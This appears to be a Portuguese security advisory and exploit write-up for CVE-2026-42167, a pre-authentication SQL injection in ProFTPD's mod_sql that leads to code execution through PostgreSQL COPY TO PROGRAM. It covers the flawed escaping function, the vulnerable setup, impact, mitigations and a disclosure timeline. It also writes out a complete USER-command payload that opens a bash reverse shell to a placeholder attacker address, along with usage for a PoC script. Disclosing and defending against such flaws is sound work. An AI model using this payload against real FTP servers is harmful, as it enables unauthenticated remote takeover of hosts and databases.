
# RCE Pré-Autenticação no ProFTPD via bypass de is_escaped_text() no mod_sql (CVE-2026-42167)
mod_sqlAutor: Van Glenndon Enad
Descoberta Original: ZeroPath
Publicado: 1 de maio de 2026
Severidade: Crítica
Pontuação CVSS v3.1: 8.1
Vetor CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Pontuação CVSS v2: 7.6
Vetor CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (Injeção de SQL), CWE-78 (Injeção de Comandos do SO)
CVE-2026-42167 é uma vulnerabilidade crítica de injeção de SQL pré-autenticação no módulo de extensão mod_sql do ProFTPD. Uma falha lógica na função is_escaped_text() permite que um atacante não autenticado contorne o escape de caracteres SQL criando um comando USER cujo valor satisfaz uma heurística defeituosa de "já escapado". O SQL injetado é passado diretamente ao banco de dados backend via PQexec(), que suporta consultas empilhadas.
Quando o papel do banco de dados do ProFTPD é um superusuário PostgreSQL — uma configuração incorreta comum em implantações conteinerizadas — a injeção alcança a diretiva COPY TO PROGRAM do PostgreSQL, resultando em Execução Remota de Código em nível de SO não autenticada como o usuário do sistema postgres. Nenhuma credencial, nenhum acesso prévio e nenhuma interação do usuário são necessários.
| Componente | Versão |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Módulo | mod_sql + mod_sql_postgres |
| Versão Corrigida | 1.3.9a (lançada em 27 de abril de 2026) |
| Backend | PostgreSQL (RCE); MySQL / SQLite (apenas bypass de autenticação) |
O ProFTPD é um servidor FTP de código aberto amplamente implantado. De acordo com o Shodan, existem mais de 160.000 instâncias do ProFTPD publicamente acessíveis na internet. O módulo mod_sql é comumente habilitado em painéis de controle de hospedagem compartilhada, incluindo cPanel, Plesk, DirectAdmin, Webmin e ISPConfig.
O módulo mod_sql do ProFTPD suporta autenticação e registro de atividades baseados em SQL. As strings de formato de log podem incluir variáveis de substituição como %U (nome de usuário), %r (host remoto) e %m (comando FTP). Essas variáveis são expandidas em tempo de execução e inseridas em consultas SQL executadas contra o backend configurado.
Uma configuração vulnerável típica:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
Nesta configuração, o valor fornecido no comando FTP USER é substituído por %U e incluído diretamente em uma instrução SQL INSERT. Antes da inserção, o valor é passado por is_escaped_text() para determinar se precisa de escape. Esta função contém uma falha lógica crítica.
is_escaped_text()Localizada em contrib/mod_sql.c, a função aplica a seguinte heurística para decidir se uma string está "já escapada":
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Assume que a string está escapada se:
* 1. Começa com aspas simples
* 2. Termina com aspas simples
* 3. Não contém aspas simples internas
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* pular escape */
}
return FALSE;
}
Quando esta função retorna TRUE, sql_resolved_append_text() (linha 777) insere o valor bruto, sem escape, diretamente na string da consulta. O valor é então executado por PQexec() em contrib/mod_sql_postgres.c (linha 1146), que suporta consultas empilhadas (multi-instruções).
A heurística provavelmente foi projetada para detectar strings que já estavam cercadas por delimitadores de string SQL. No entanto, ela não faz nenhuma tentativa de verificar se o conteúdo interno é seguro — apenas que não há aspas simples adicionais presentes. Isso significa que qualquer payload que:
''$$ do PostgreSQL)...passará na verificação e será injetado literalmente na consulta SQL.
Cliente FTP ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expandir %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ pular escape │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ executar SQL empilhado
│ │ │ COPY TO PROGRAM
│ │ │── comando shell ──▶ SO
| Requisito | Observações |
|---|---|
mod_sql habilitado com registro SQL | Deve registrar uma variável pré-autenticação como %U |
| Backend PostgreSQL | Necessário para RCE via COPY TO PROGRAM; MySQL/SQLite ainda permitem bypass de autenticação |
| Papel do banco de dados é superusuário PostgreSQL | COPY TO PROGRAM é restrito a superusuários ou membros de pg_execute_server_program |
bash disponível no host do banco de dados | Necessário para entrega de reverse shell via /dev/tcp |
| Acessibilidade de rede | O contêiner PostgreSQL deve ser capaz de alcançar o atacante na porta do listener |
A condição de superusuário é frequentemente atendida em implantações conteinerizadas onde o usuário do banco de dados do ProFTPD é criado via POSTGRES_USER=... na imagem Docker oficial do PostgreSQL, ou quando um administrador concede ao papel do ProFTPD a propriedade do banco de dados.
Passo 1: Atacante envia comando USER elaborado (pré-autenticação, sem credenciais)
│
▼
Passo 2: ProFTPD expande %U com valor controlado pelo atacante
│
▼
Passo 3: Bypass de is_escaped_text() — SQL bruto passa sem escape
│
▼
Passo 4: PQexec() executa consulta empilhada contra o PostgreSQL
│
▼
Passo 5: COPY TO PROGRAM executa comando shell do atacante como usuário do SO postgres
│
▼
Passo 6: Reverse shell / exfiltração de arquivos entregue ao atacante
O payload de injeção é entregue via comando FTP USER:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Condição | Satisfeita? | Motivo |
|---|---|---|
Começa com ' | ✅ | Primeiro caractere é ' |
Termina com ' | ✅ | Último caractere é ' |
| Sem aspas simples internas | ✅ | Strings internas usam citação por dólar $$ |
| Segmento | Finalidade |
|---|---|
', null, null); | Fecha a instrução INSERT original de forma limpa |
COPY (SELECT $$x$$) TO PROGRAM | Consulta empilhada usando COPY TO PROGRAM do PostgreSQL |
$$bash -c ...$$ | Comando shell usando citação por dólar $$ para evitar aspas simples |
; --' | Termina a consulta empilhada; --' comenta o restante e fornece o ' de fechamento para o bypass |
Aviso: Este PoC é fornecido apenas para fins educacionais e de testes autorizados. Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito.
Exemplo de Uso:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| Categoria | Descrição |
|---|---|
| Confidencialidade | Acesso total de leitura ao sistema de arquivos como o usuário do SO postgres |
| Integridade | Capacidade de escrever arquivos, modificar conteúdos do banco de dados, instalar backdoors |
| Disponibilidade | Interrupção de serviço, destruição de dados possível |
| Autenticação | Explorável com zero credenciais pré-autenticação |
| Escopo | Estende-se além do ProFTPD para o host PostgreSQL subjacente |
Qualquer sistema onde o ProFTPD esteja co-localizado com ou tenha acesso de superusuário a uma instância PostgreSQL está em risco de comprometimento total do host. Movimento lateral para sistemas adjacentes e persistência via cron jobs ou injeção de chaves SSH são trivialmente alcançáveis pós-exploração.
is_escaped_text() com tratamento adequado de consultas parametrizadasmod_sql (remova as diretivas SQLLog)%U, %r, %m) das definições de SQLNamedQueryINSERT na tabela de log e SELECT na tabela de autenticaçãoUSER contendo aspas simples, COPY, PROGRAM ou palavras-chave SQL| Data | Evento |
|---|---|
| 28 de março de 2026 | Vulnerabilidade relatada aos mantenedores do ProFTPD |
| 7 de abril de 2026 | Verificação do patch iniciada |
| 24 de abril de 2026 | CVE-2026-42167 atribuído |
| 27 de abril de 2026 | Correção confirmada; ProFTPD 1.3.9a lançado |
| 28 de abril de 2026 | Publicado no NVD |
| 28–29 de abril de 2026 | Repositórios públicos de PoC publicados no GitHub |
| 1 de maio de 2026 | Análise independente e PoC simplificado publicado |
Aviso Legal: Esta análise e prova de conceito são publicadas estritamente para fins educacionais, de pesquisa e de segurança defensiva. O autor não endossa acesso não autorizado a sistemas de computador. Sempre obtenha permissão explícita por escrito antes de realizar testes de segurança contra qualquer sistema que você não possua.